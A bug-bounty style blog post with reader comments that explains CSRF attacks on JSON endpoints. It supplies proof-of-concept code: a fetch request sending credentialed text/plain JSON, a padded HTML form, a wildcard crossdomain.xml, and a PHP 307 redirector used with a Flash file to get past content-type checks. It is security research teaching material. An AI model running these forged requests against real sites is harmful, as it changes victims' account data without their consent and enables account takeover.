Update 2:
For the Case 1, there is possibility in some cases where server reject the request due to extra padding of data, but there is another and best way, using fetch or XHR request we can submit the json formatted data without any limitations, added poc code for the same.
Thanks to Prakash for making me aware of this.
Update 1:
Great work by Evgeniy who edited and compiled the Flash file in a way where users can pass all the information including JSON data, php file & target endpoint via URL parameter, which not only make all those complex procedures simpler but also remove the hectic task to recompilation of flash file each time for the Case 2.
Here is the the updated flash and other files by Evgeniy.
Hello Friends!
Everyone knows about basic csrf attack, if not just go through this owasp page and burp engagement tools have easiest option to create csrf proof of concept for all kind of basic csrf attack including performing csrf via xhr request.
in this post i’m going to talk about csrf scenarios which i encountered many times and seen many researchers from community are curious about it, so i will try clear as much possible!
so this trick comes into play when post request data formatted into json format, eg: {“name”:”test”, “email”:”victim.com”}, which have 2 scenario.
Case 1:
- Server looking for json formatted data but don’t validate the Content-type
Case 2:
- Server looking for json formatted data and validate the Content-type as well, i.e application/json
Note: This csrf attack only works when the application do only rely either on json formatted data or Content-type application/json, and data format check, if there is any additional csrf token/referer check at place this will not work.
Exploiting Case 1:
This can be achieved with little HTML trick using name attribute with padding some extra data, simply can be done using Fetch request, as we know in this case server is only checking for the post data if it’s correctly formatted or not, if yes it will accept the request regardless the Content-type is set as text/plain
Now assume we have to submit this test data to the vulnerable application: {“name”:”attacker”,”email”:”attacker@gmail.com”}
Updated method:
<html> <title>JSON CSRF POC</title> <body> <center> <h1> JSON CSRF POC </h1> <script> fetch('http://vul-app.com', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'}); </script> <form action="#"> <input type="button" value="Submit" /> </form> </center> </body> </html>
Source: http://research.rootme.in/forging-content-type-header-with-flash
Old Method:
<html> <title>JSON CSRF POC</title> <center> <h1> JSON CSRF POC </h1> <form action=http://vul-app.com method=post enctype="text/plain" > <input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"' value='test"}'type='hidden'> <input type=submit value="Submit"> </form> </center> </html>
This will make post request with valid json formatted data with padding some extra data, if the application don’t care about extra data which happened in most of cases i seen. if not, there is always 2nd way to use.
Source: http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html
Exploiting Case 2:
Here even if application is validating the Content-type and data format, this attack can be achieved using flash and 307 redirect.
Requirements:
- Crafted Flash file
- Crossdomain XML file
- PHP file with 307 status code
Crafted Flash file:
This flash (.swf) file have our json formatted data which attacker have to post on the target application, and link to hosted php file in it.
Here is the test SWF file, you can download and edit the contents as per your need, i do use FFDec on Windows for editing and compiling the flash file, you can check others based on your environment.
Crossdomain XML file:
<cross-domain-policy> <allow-access-from domain="*" secure="false"/> <allow-http-request-headers-from domain="*" headers="*" secure="false"/> </cross-domain-policy>
PHP file with 307 status code:
<?php // redirect automatically header("Location: https://victim.com/user/endpoint/", true, 307); ?>
Flash file request for this php file, this will make 307 redirect to mentioned application endpoint, and as 307 is special redirect which will post the JSON data as well which got received from the flash file to the target endpoint and CSRF will take place successfully.
Here is the public report #44146 by @avlidienbrunn for the same.
Note: As this is based on flash, so flash should be installed in browser to make it work, which is very normal for now but may not be in future.
do let me know if you have any queries in comment section or tweet about it here , and thanks to Parth for the proof reading.
great illustrations
Greate post ! Does the 307 redirect trick works with all version of browers/flash or just some specific one ?
Yes! most of them, in case if you noticed it’s not working for you, make sure you have Flash installed in browser.
is it possible to exploit in GET method?
Sorry in PUT method?
Not possible.
Hi,
If you craft an XHR Request and use Internet Explorer, this can be achieved using the PUT method.
No, only GET/POST can be used for this.
Interesting, do this trick with SWF possible also with PUT method, or it’s POST only?
No, PUT or DELETE will not work.
can this method be done in PATCH? the app is using a PATCH method to submit the json form.
Thanks
No! only GET and POST
No, only GET/POST
Nice…i was waiting for this :p
🙂
Can the flash file read the response from the target?
I tried some JSON Hijacking from the GET endpoints using event listeners with urlLoader (Event.COMPLETE) – but in this case problems with response reading was raised – and event was never reached. Looks like in this case SOP works as it should=) Got it working only with insecure crossdomain.xml on the target host.
You can only read the response from target host if there is misconfigured crossdomain file which allow any (*) domain or subdomain where you can control the flash file to make request, and for exploiting that there is framework.
Thanks a lot for the info!
fetch follows cors
Fetch follows cors. So, fetch can exploit csrf ?
in that case you can try html name attribute trick.
Awesome article,
Receive a 307 redirect request as GET/POST bypass the content/type filter, this is an issue built-in from the browsers right?
Thanks, this is intended behavior for the Flash.
What if there is X-Requested-with header is?
That’s blocked by Flash, so can’t be done!
For the flash + redirect bypass, The attacker’s host needs to have a permissive crossdomain.xml file too?
is “victim host”, not attacker’s host. sorry 🙂
Now i got it!
Why it works
To clarify, the SOP/CORS are failing in the case of 307 redirect trick (due to that fact, that during 307 redirect crossdomain.xml on the target host will be called after the POST request for some reason – so POST request wiill reach the destination), and can only prevent the response reading by the Flash application, but not prevent the CSRF attack itself (it can be the Flash fault, or the way how the browsers are handling 307 redirects of the requests, initialized by Flash applications).
https://hackerone.com/reports/263662
THANKS!
No, if the php redirector file hosted on the same host, otherwise Yes.
For the flash + redirect bypass, The victim host needs to have a permissive crossdomain.xml file too?
Awesome.. Thanks for sharing
Hey!
No that’s not possible, adding custom header is not possible anymore with flash trick.
Glad to know 🙂
Hi Geekboy,
I have tried the above method using Evgeniy project. My testing site does not have any CSRF protection it only rely on content type:json
However when I try to update my profile it also has a header “Authorization Bearer token” . In POC After my first request I got 307 redirect and in the second request it calls update profile endpoint with my post data. But I don’t see “Authorization Bearer token” added in the second call automatically by the browser.
I would like to know it does not work if it has a header or I am missing something. Please advice.
Hey, not possible with the mentioned header.
X-Requested-with header any bypass for it ?
hello, i managed to add the http request headers, but the vulnerable site has no crossdomain.xml and so the request fails, I guess. On redirecting with 307, it request for testingsite.com/crossdomain.xml, which is not available, and so the csrf didnt take place? plz let me know whats wrong here!
Hey,
Great it worked for me . But can you please make a video for case 2 . It will be helpful for every one ..
Thanks
Hello,
I’ve been trying to test the same JSON based CSRF but as shown in the Exploitation case 2 application is validating the Content-type and data format. So, in my case the application is also validating the “origin” http header too along with content-type and therefore I need to add proper origin in the HTTP Request.
I tried adding `request.requestHeaders.push(new URLRequestHeader(“origin”,”https://www.victimsite.com”));` on the next line after the `request.requestHeaders.push(new URLRequestHeader(“Content-Type”,”application/json”));`
But this didn’t worked, is there anything I can do to add another HTTP Header?
Thanks
Hello geekboy,
First I would like to thank you for such a nice write-up. I got stuck at one point and need to understand it in more deep.
“This flash (.swf) file have our json formatted data which attacker have to post on the target application, and link to hosted php file in it.”
Can you please elaborate it. I downlaoded FFDec and opened test.swf file as well but I am not finding out how to move ahead.
Kindly guide and try if you can create and post video on this issue as most of the researchers are waiting for it from long time.
Thanks
Check update section for the GitHub project, you don’t need to edit the file anymore, just host it and use it.
This is great stuff ! Thanks. However when I did same exact steps my swf file is getting downloaded rather than redirecting me to my target, I tried it on chrome, FF, IE, Canary but same result. Not sure if I’m missing anything, any guidance provided will be very helpful.
Instead of calling SWF file directly in the browser, load it using HTML file.
can anyone confirm this flash based csrf method is still working? it seems fixed like sudden..
It still works in Google Chrome.
Why 307 redirection is required? What if we directly specify the URL of the victim application in the .swf file?
Got this error:
ReferenceError: Error #1065: Variable JSON is not defined.
at re$iinit()
It is still working
Great work & thanks for the post.
I am performing to the CSRF testing for Json request application in my pc, is the crossdomain xml file is required???
Can we add custom header with fetch method ?
No, for now only application/json header is possilbe.
That’ sgreat Geekboy , keep it up
Hi geekboy, How to Fix this Vulnerability.
As this trick only works for application/JSON header, adding any custom header based CSRF protection in the request will fix this CSRF scenario.
Is this bug(flash + 307) still exploitable ?
Should be doable in Chrome after manual confirmation to run flash files.